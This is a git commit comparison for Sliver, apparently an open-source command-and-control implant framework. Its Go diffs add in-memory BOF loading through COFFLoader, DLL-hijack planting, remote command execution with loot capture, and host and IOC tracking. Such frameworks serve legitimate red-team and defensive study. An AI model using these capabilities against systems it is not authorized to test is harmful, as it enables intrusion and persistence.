Compare commits

...
74 Commits
Author SHA1 Message Date
rkervella d1135d1d68 Add Prelude's Operator support 2021-09-04 12:31:34 +02:00
moloch-- a998a571f9 Various fixes to http c2 transport 2021-09-03 20:49:50 -05:00
moloch-- ce3cee731c Improved c2 unit tests 2021-09-03 17:55:20 -05:00
moloch-- 9e924efcb2 Fix unit tests for matcher funcs 2021-09-03 17:43:40 -05:00
moloch-- 23309233a8 Merged stage 2021-09-03 17:18:53 -05:00
moloch-- e107382d07 Improvements to http server 2021-09-03 10:02:01 -05:00
moloch-- 9ea9d1add8 Fixes to the http router and path generation 2021-09-02 09:20:50 -05:00
moloch-- bc5a622944 Improved unit tests 2021-09-02 08:14:09 -05:00
moloch-- c24a37edcd Renamed implant generation code 2021-09-01 20:56:23 -05:00
moloch-- 536171e8ac Fix paths for sliver .c and .h 2021-09-01 16:39:21 -05:00
moloch-- 4d17f0ed66 Moved pty to build constraints in shell pkg 2021-09-01 16:23:37 -05:00
moloch-- 1e5bf9a39c Fix version build constraints 2021-09-01 16:06:07 -05:00
moloch-- 18cb8d142d Fix version pkg 2021-09-01 15:56:54 -05:00
moloch-- b3467e0512 Fix shell pkg 2021-09-01 15:38:17 -05:00
moloch-- 8a1845baf8 Major refactor to implant render code 2021-09-01 14:50:52 -05:00
moloch-- 00a2faf137 Code cleanup, added max req length 2021-09-01 09:14:32 -05:00
moloch-- 6fb3835e14 Merged stage, fix unit tests 2021-08-31 08:38:02 -05:00
moloch-- f3144eb919 wip on server-side updates 2021-08-31 07:17:32 -05:00
moloch-- 83c5fad8eb Go mod vendor 2021-08-28 18:27:37 -05:00
moloch-- bfe2013eb5 Merged otp 2021-08-28 18:19:31 -05:00
moloch-- 0923de192c Updated with other branches 2021-08-28 18:17:32 -05:00
rkervella 3c07043531 Update COFFLoader version, add it back to go-assets.sh 2021-08-24 15:59:31 +02:00
rkervella b60e826a02 Merge branch 'master' into extensions 2021-08-23 11:11:21 +02:00
rkervella d337d4f13c Merge branch 'master' into stage 2021-08-23 09:42:24 +02:00
rkervella 75dd1b1a26 Add missing imports 2021-08-20 16:33:19 +02:00
rkervella 359746120a Add execute redirection to remote file 2021-08-20 16:13:59 +02:00
rkervella b08728765d Add missing import 2021-08-20 12:59:45 +02:00
rkervella 69d99e28fd Fix merge on go.mod 2021-08-20 12:44:45 +02:00
rkervella a811b53561 Fix merge 2021-08-20 12:43:12 +02:00
rkervella cbfae11876 Reflect changes to windows executeTokenHandler 2021-08-20 12:34:25 +02:00
rkervella b7a814f0c5 Rework execute stdout/stderr handling 2021-08-20 11:58:22 +02:00
rkervella 572e717634 Move DLL hijack to client protobuf side 2021-08-20 11:23:06 +02:00
rkervella 4bf7246b0a Merge branch 'master' into extensions 2021-08-20 11:13:29 +02:00
rkervella febf50e464 Add debug statements + handle some edge cases 2021-08-20 11:12:18 +02:00
rkervella a427f86c4e Merge branch 'master' into extensions 2021-08-19 00:04:25 +02:00
rkervella 4c2a309054 Document existing issues with Darwin extensions 2021-08-18 10:17:20 +02:00
rkervella 465eb8cfee Add comment about missing callback support 2021-08-18 09:54:09 +02:00
rkervella 55da1a5dde Update vendor 2021-08-18 09:32:31 +02:00
rkervella bf44f379ec Update vendor 2021-08-18 09:31:37 +02:00
rkervella e5430caf8d Add darwin support 2021-08-18 09:30:25 +02:00
rkervella 60c5c2ee89 Merge branch 'master' into extensions 2021-08-16 18:23:10 +02:00
rkervella 9cf607d155 Fix duplicate protobuf identifier 2021-08-16 17:29:18 +02:00
rkervella e3a6b237f1 Fix typo 2021-08-16 16:22:52 +02:00
rkervella 8b99a98d5e Merge branch 'master' into extensions 2021-08-04 14:14:46 +02:00
Ronan Kervella 09d94ab559 Merge pull request #491 from BishopFox/jd/extensions
Extensions
2021-08-04 09:13:17 +02:00
moloch-- 1420ebd447 Moved asset setup to client/console 2021-08-03 19:51:37 -07:00
rkervella 96a531f9d4 Merge branch 'master' into extensions 2021-08-03 12:33:55 +02:00
Ronan Kervella f3bdb5cadc Merge pull request #486 from BishopFox/hosts
Hosts
2021-08-02 09:04:31 +02:00
moloch-- fd3df6a3f3 Implemented ioc rm cmd 2021-07-31 11:42:23 -07:00
moloch-- 3c6b60bc3e Hosts IOC tracking support 2021-07-31 08:25:27 -07:00
moloch-- d42373e545 Added hosts iocs cmd 2021-07-29 19:41:32 -05:00
moloch-- 76e4f430d0 Merged extensions 2021-07-29 09:32:42 -05:00
moloch-- ab8d431c39 implemented hosts rm 2021-07-29 09:28:18 -05:00
moloch-- e4ad404822 Fix host uuid 2021-07-29 06:57:19 -05:00
rkervella 9e6a771a1a Merge branch 'master' into extensions 2021-07-29 11:40:54 +02:00
rkervella 69ebbcb728 Merge branch 'extensions' of bishopfox.github.com:BishopFox/sliver into extensions 2021-07-29 10:17:28 +02:00
rkervella 5c65da3567 Add loader and default manifest to client's assets 2021-07-29 10:16:25 +02:00
rkervella 1c67a11c29 Remove CLR DLL as we don't need it anymore 2021-07-29 08:34:27 +02:00
moloch-- 755bed951b Add ioc tracking 2021-07-28 23:37:49 -05:00
moloch-- 7ba4e5bec0 Sessions for hosts 2021-07-28 23:04:26 -05:00
moloch-- 5d8d49461c Outlined hosts db and cmd 2021-07-28 22:48:14 -05:00
Joe cadc717963 Merge pull request #484 from BishopFox/jd/extensions
Platform agnostic path manipulation in macros
2021-07-28 14:27:38 -05:00
moloch-- ce4a7c7dcc Platform agnostic path manipulation in macros 2021-07-28 14:06:22 -05:00
Ronan Kervella ab8ff6a06a Merge pull request #483 from BishopFox/jd/extensions
Platform agnostic path manipulation
2021-07-28 17:41:51 +02:00
moloch-- 3b93554df2 Platform agnostic path manipulation 2021-07-28 08:20:52 -05:00
rkervella b688b7b121 Only update session when necessary 2021-07-28 14:58:01 +02:00
rkervella 3ce603a3c7 Fix constructor call, add dynamic entrypoint resolution for BOFs 2021-07-28 11:48:17 +02:00
rkervella 3d9df17d43 Fix path 2021-07-27 15:49:35 +02:00
rkervella d53c646af0 Store extension dir in assets 2021-07-27 15:44:05 +02:00
rkervella 601c1eea64 Add support for init function 2021-07-27 15:27:31 +02:00
rkervella 12ee96451a Refactor BOF args parsing 2021-07-27 15:24:29 +02:00
rkervella cc304ba85a Update readme 2021-07-27 15:19:09 +02:00
rkervella a743a72500 vendor update 2021-07-27 15:14:26 +02:00
rkervella 6c75b08648 Extension rework 2021-07-27 15:14:13 +02:00
171 changed files with 17099 additions and 3294 deletions

No files matched your search

+9
View File
@@ -0,0 +1,9 @@
fs/*.zip
fs/extensions/darwin/amd64/
fs/extensions/darwin/arm64/
fs/extensions/linux/amd64/
fs/extensions/windows/amd64/
fs/extensions/darwin/386/
fs/extensions/darwin/386/
fs/extensions/linux/386/
fs/extensions/windows/386/
+100
View File
@@ -19,15 +19,29 @@ package assets
*/
import (
"embed"
"fmt"
"io/ioutil"
"log"
"os"
"os/user"
"path"
"strings"
ver "github.com/bishopfox/sliver/client/version"
)
var (
//go:embed fs/extensions/*
assetsFs embed.FS
)
const (
// SliverClientDirName - Directory storing all of the client configs/logs
SliverClientDirName = ".sliver-client"
// SliverExtensionsDirName - Directory storing the client side extensions
SliverExtensionsDirName = "extensions"
versionFileName = "version"
)
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
@@ -42,3 +56,89 @@ func GetRootAppDir() string {
}
return dir
}
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
if err != nil {
return ""
}
return strings.TrimSpace(string(data))
}
func saveAssetVersion(appDir string) {
versionFilePath := path.Join(appDir, versionFileName)
fVer, _ := os.Create(versionFilePath)
defer fVer.Close()
fVer.Write([]byte(ver.GitCommit))
}
// Setup - Extract or create local assets
func Setup(force bool, echo bool) {
appDir := GetRootAppDir()
localVer := assetVersion()
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf("Unpacking assets ...\n")
}
err := setupCoffLoaderExt(appDir)
if err != nil {
fmt.Println(err)
log.Fatal(err)
}
saveAssetVersion(appDir)
}
}
func setupCoffLoaderExt(appDir string) error {
extDir := GetExtensionsDir()
win32ExtDir := path.Join("windows", "386")
win64ExtDir := path.Join("windows", "amd64")
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
loader64, err := assetsFs.ReadFile(coffLoader64)
if err != nil {
return err
}
loader32, err := assetsFs.ReadFile(coffLoader32)
if err != nil {
return err
}
manifest, err := assetsFs.ReadFile(manifestPath)
if err != nil {
return err
}
localWin32ExtDir := path.Join(extDir, win32ExtDir)
err = os.MkdirAll(localWin32ExtDir, 0700)
if err != nil {
return err
}
localWin64ExtDir := path.Join(extDir, win64ExtDir)
err = os.MkdirAll(localWin64ExtDir, 0700)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
if err != nil {
return err
}
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
}
+16
View File
@@ -0,0 +1,16 @@
[
{
"name": "coff-loader",
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
"entrypoint": "LoadAndRun",
"extFiles": [
{
"os": "windows",
"files": {
"x64": "COFFLoader.x64.dll",
"x86": "COFFLoader.x86.dll"
}
}
]
}
]
+3 -3
View File
@@ -82,7 +82,7 @@ var rootCmd = &cobra.Command{
func StartClientConsole() error {
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
return nil
}
config := selectConfig()
@@ -93,11 +93,11 @@ func StartClientConsole() error {
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %v", err)
fmt.Printf("Connection to server failed %s", err)
return nil
}
defer ln.Close()
return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false)
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
}
// Execute - Execute root command
+158 -6
View File
@@ -36,6 +36,7 @@ package command
import (
"os"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
@@ -44,11 +45,14 @@ import (
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/hosts"
"github.com/bishopfox/sliver/client/command/info"
"github.com/bishopfox/sliver/client/command/jobs"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/command/macros"
"github.com/bishopfox/sliver/client/command/monitor"
"github.com/bishopfox/sliver/client/command/network"
"github.com/bishopfox/sliver/client/command/operator"
"github.com/bishopfox/sliver/client/command/operators"
"github.com/bishopfox/sliver/client/command/pivots"
"github.com/bishopfox/sliver/client/command/portfwd"
@@ -82,6 +86,14 @@ func BindCommands(con *console.SliverConsoleClient) {
con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
}
// Attempt to load extensions from ~/.sliver-client/extensions/
exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
// Absorb error in case there's no extensions manifest
if err == nil {
for _, ext := range exts {
extensions.RegisterExtensionCommand(ext, con)
}
}
con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
// [ Update ] --------------------------------------------------------------
@@ -539,6 +551,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("s", "silent", false, "don't print the command output")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("o", "stdout", "", "remote path to redirect STDOUT to")
f.String("e", "stderr", "", "remote path to redirect STDERR to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1180,6 +1195,8 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.UploadStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("i", "ioc", false, "track uploaded file as an ioc")
},
Args: func(a *grumble.Args) {
a.String("local-path", "local path to the file to upload")
@@ -1528,20 +1545,20 @@ func BindCommands(con *console.SliverConsoleClient) {
},
})
// [ Extensions ] ---------------------------------------------
// [ Macros ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.LoadExtensionStr,
Help: "Load a sliver extension",
LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}),
Name: consts.LoadMacroStr,
Help: "Load a sliver macro",
LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.LoadExtensionCmd(ctx, con)
macros.LoadMacroCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the extension directory")
a.String("dir-path", "path to the macro directory")
},
HelpGroup: consts.GenericHelpGroup,
})
@@ -2115,6 +2132,70 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(lootCmd)
// [ Hosts ] --------------------------------------------------------------
hostsCmd := &grumble.Command{
Name: consts.HostsStr,
Help: "Manage the database of hosts",
LongHelp: help.GetHelpFor([]string{consts.HostsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
hostsCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a host from the database",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsRmCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
iocCmd := &grumble.Command{
Name: consts.IOCStr,
Help: "Manage tracked IOCs on a given host",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsIOCCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
iocCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Delete IOCs from the database",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsIOCRmCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
hostsCmd.AddCommand(iocCmd)
con.App.AddCommand(hostsCmd)
// [ Reactions ] -----------------------------------------------------------------
reactionCmd := &grumble.Command{
@@ -2228,4 +2309,75 @@ func BindCommands(con *console.SliverConsoleClient) {
},
}
con.App.AddCommand(getprivsCmd)
// [ Extensions ] -----------------------------------------------------------------
extensionCmd := &grumble.Command{
Name: consts.ExtensionStr,
Help: "Manage sliver extensions",
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ListCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
extensionCmd.AddCommand(&grumble.Command{
Name: consts.LoadStr,
Help: "Register a new extension",
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.LoadCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the extension directory")
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
})
con.App.AddCommand(extensionCmd)
// [ Prelude's Operator ] ------------------------------------------------------------
operatorCmd := &grumble.Command{
Name: consts.OperatorStr,
Help: "Manage connection to Prelude's Operator",
LongHelp: help.GetHelpFor([]string{consts.OperatorStr}),
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
operator.OperatorCmd(ctx, con)
con.Println()
return nil
},
}
operatorCmd.AddCommand(&grumble.Command{
Name: consts.ConnectStr,
Help: "Connect with Prelude's Operator",
LongHelp: help.GetHelpFor([]string{consts.OperatorStr, consts.ConnectStr}),
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
operator.ConnectCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("connection-string", "connection string to the Operator Host")
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
f.String("a", "aes-key", "", "AES key for communication encryption")
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
}
+2 -2
View File
@@ -24,7 +24,7 @@ import (
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
@@ -78,7 +78,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
ReferenceDLLPath: referencePath,
TargetLocation: targetPath,
ReferenceDLL: localRefData,
+26 -6
View File
@@ -36,15 +36,22 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("silent")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
token := ctx.Flags.Bool("token")
var exec *sliverpb.Execute
var err error
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveSession.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
Stderr: stderr,
Stdout: stdout,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
@@ -52,22 +59,35 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Path: cmdPath,
Args: args,
Output: !output,
Stderr: stderr,
Stdout: stdout,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
} else if !output {
combined := ""
if stdout == "" {
combined = exec.Stdout
con.PrintInfof("Output:\n%s", exec.Stdout)
} else {
con.PrintInfof("StdOut saved at %s\n", stdout)
}
if !ignoreStderr && stderr == "" {
combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
con.PrintInfof("StdErr:\n%s", exec.Stderr)
} else {
con.PrintInfof("Stderr saved at %s\n", stderr)
}
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
if exec.Result != "" {
con.PrintInfof("Output:\n%s\n", exec.Result)
}
} else {
con.PrintInfof("Output:\n%s\n", exec.Result)
if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
if ctx.Flags.Bool("loot") && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
+60 -2
View File
@@ -1,4 +1,62 @@
Extensions
===========
====
Wraps external DLLs/tool in Sliver console commands.
Allows to load and execute 3rd party extensions.
Extensions must be loaded from a directory with the following architecture:
```shell
/path/to/extension/folder/
├── manifest.json
└── windows
├── 386
│   └── extension.x86.dll
└── amd64
└── extension.x64.dll
```
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
Here's an example manifest:
```json
[
{
"name": "foo",
"help": "Help for foo command",
"entrypoint": "RunFoo",
"init" :"NimMain",
"dependsOn": "bar",
"files": [
{
"os": "windows",
"files":{
"x86": "extension.x86.o",
"x64": "extension.x64.o",
}
}
],
"arguments": [
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
]
}
]
```
The structure is the following one:
- `name`: name of the extension, which will also be the name of the command in the sliver client
- `help`: the documentation for the new command
- `entrypoint`: the name of the exported function to call
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
- `init`: the initialization function name (if relevant, can be omitted)
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
The `type` of an argument can be one of the following:
- `string`: regular ASCII string
- `wstring`: string that will be UTF16 encoded
- `int`: will be parsed as a 32 bit unsigned integer
- `short`: will be parsed as a 16 bit unsigned integer
- `file`: a string to a file path on the client side which content will be passed to the BOF
+427 -241
View File
@@ -1,26 +1,11 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"encoding/binary"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
@@ -28,80 +13,59 @@ import (
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/help"
"golang.org/x/text/encoding/unicode"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var commandMap map[string]extension
var defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
var commandMap map[string]extensionCommand
type extensionCommand struct {
Name string `json:"name"`
Help string `json:"help"`
Files []extensionFiles `json:"extFiles"`
Arguments []extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"dependsOn"`
Init string `json:"init"`
Path string
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type extFile struct {
type extensionFiles struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type extensionCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
ExtensionFiles []extFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
}
func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
type extension struct {
Name string `json:"extensionName"`
Commands []extensionCommand `json:"extensionCommands"`
Path string
}
func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, c := range e.Commands {
if cmdName == c.Name {
for _, ef := range c.ExtensionFiles {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
case "x64":
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
default:
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
}
}
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, ef := range e.Files {
if targetOS == ef.OS {
switch targetArch {
case "386":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
case "amd64":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
}
}
}
if filePath == "" {
@@ -110,132 +74,237 @@ func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch
return
}
func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
for _, x := range e.Commands {
if x.Name == name {
extCmd = &x
return
}
}
err = fmt.Errorf("no extension command found for name %s", name)
return
}
// LoadExtensionCmd - Locally load an extension into the Sliver shell.
func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
if dirPath == "" {
con.PrintErrorf("Please provide an extension path\n")
extCmds, err := ParseExtensions(dirPath)
if err != nil {
return
}
// retrieve extension manifest
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
for _, extCmd := range extCmds {
// do not add if the command already exists
if cmdExists(extCmd.Name, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
continue
}
RegisterExtensionCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
}
}
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
manifestPath := filepath.Join(extPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil, err
}
// parse it
ext := &extension{}
err = json.Unmarshal(jsonBytes, ext)
extensionsCmds := make([]*extensionCommand, 0)
err = json.Unmarshal(jsonBytes, &extensionsCmds)
if err != nil {
con.PrintErrorf("Error loading extension: %v", err)
return
return nil, err
}
ext.Path = dirPath
// for each extension command, add a new app command
for _, extCmd := range ext.Commands {
// do not add if the command already exists
if cmdExists(extCmd.Name, ctx.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
return
}
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
// Have to use a global map here, as passing the extCmd
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if extCmd.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.ExtensionHelpGroup,
}
con.App.AddCommand(extensionCmd)
for _, extCmd := range extensionsCmds {
extCmd.Path = extPath
commandMap[extCmd.Name] = *extCmd
}
con.PrintInfof("%s extension has been loaded\n", ext.Name)
return extensionsCmds, nil
}
func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
commandMap[extCmd.Name] = *extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if len(extCmd.Arguments) > 0 {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
argFunc func(string, string, ...grumble.ArgOption)
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "short":
argFunc = a.Int
